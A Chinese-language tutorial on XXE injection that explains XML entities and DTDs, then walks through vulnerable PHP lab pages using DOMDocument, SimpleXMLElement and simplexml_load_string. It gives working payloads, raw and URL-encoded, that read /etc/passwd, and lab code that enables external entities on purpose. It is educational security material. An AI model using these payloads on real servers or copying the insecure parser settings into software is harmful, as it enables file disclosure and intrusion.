0%

XXE实体注入

XXE

XML External Entity 即XML外部实体注入攻击。是由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体,通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地的文件内容,导致了XXE漏洞。漏洞形成的标志性函数:例如PHP中的simplexml_load_string或者simplexml_load_file,默认情况下都会解析外部实体。

XML实体

XML的基本语法与HTML很类似,区别在于

  • XML用来传输存储数据
  • HTML用来显示数据

XXE主要是XML实体的定义:DTD

Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

[XML教程][https://www.w3school.com.cn/xml/index.asp]

[DTD教程][https://www.w3school.com.cn/dtd/index.asp]

假如DTD被包含在XML源文件种,它应当通过下面的语法包装在一个DOCTYPE声明中

1
<!DOCTYPE 根元素 [元素声明]>

外部实体与内部实体

XML实体分为内部外部实体

从语法上来看,区别在于

1
2
<!ENTITY 实体名称 "实体的值"> //定义内部实体
<!ENTITY 实体名称 SYSTEM "URI/URL"> //定义外部实体

实例

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8" ?> //xml声明
<!DOCTYPE test [ //DTD部分
<!ENTITY test1 "test1"> //内部实体
<!ENTITY test2 SYSTEM "file:///etc/passwd"> //外部实体
]>
<test>&test1;&test2;</test> //xml部分

一般实体和参数实体

XML实体还可以分为一般参数实体

  • 一般实体的声明:<!ENTITY 实体名称 "实体内容">

  • 一般实体的引用:&实体名词;

  • 参数实体的声明:<!ENTITY % 实体名称 "实体内容">

  • 参数实体的引用:%实体名词;

参数实体只能在DTD部分中引用

实例

1
2
3
4
5
6
7
<?xml version = "1.0" encoding = "utf-8" ?> //xml声明
<!DOCTYPE test [ //DTD部分
<!ENTITY test1 "test1"> //一般实体
<!ENTITY % test2 SYSTEM "file:///etc/passwd"> //参数实体
%test2; //引用参数实体
]>
<test>&test1;</test> //xml部分

另外参数实体还能嵌套定义,但是要注意内层定义的参数实体%需要进行HTML转义,否则会出现解析错误

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % para '<!ENTITY &#x25; files SYSTEM "file:///etc/passwd">'>
]>

XXE练习

漏洞利用的简单靶机在线环境:https://www.vulnspy.com/phpaudit-xxe/

DOMDocument.php

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['s'])){
show_source(__FILE__);
exit;
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();
echo htmlspecialchars($resp);
}
?>

该php文件通过loadXML函数解析输入data中的数据,返回到resp这个变量当中,最终输出htmlspecialchars($resp);,没有做任何处理, 简单的定义了一个外部实体content,通过file协议来读取服务器端本机的文件

直接写入payload(url编码后)就行

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>

需要输入的payload为

1
%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+ANY+%5B%0D%0A%09%3C%21ENTITY+content+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0D%0A%5D%3E%0D%0A%3Cnote%3E%0D%0A%09%3Cname%3E%26content%3B%3C%2Fname%3E%0D%0A%3C%2Fnote%3E%09%09

1

SimpleXMLElement.php

此题与上一题的差别在于上一题使用DOM解析,此题使用SimpleXML解析

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(isset($_GET['s'])){
show_source(__FILE__);
exit;
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = new SimpleXMLElement($data, LIBXML_NOENT);
ob_start();
var_dump($xml);
$resp = ob_get_contents();
ob_end_clean();
echo htmlspecialchars($resp);
}
?>

解题过程与payload和上一题一样

2

simplexml_load_string.php

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
ob_start();
var_dump($xml);
$resp = ob_get_contents();
ob_end_clean();
echo htmlspecialchars($resp);
}
?>

漏洞的触发点就是simplexml_load_string这个函数,可以允许我们通过DTD来定义外部实体,但解题过程和payload和之前两题一模一样

3

BlindXXE.php

之前都是有回显XXE,因为有echo htmlspecialchars($resp);,而此题的源代码中没有这行代码,所以变成无回显。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['s'])){
show_source(__FILE__);
exit;
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
if($xml && isset($xml->name)){
$name = $xml->name;
}

}
?>

4

正常情况下,只会返回errorok,同时不会显示具体的结果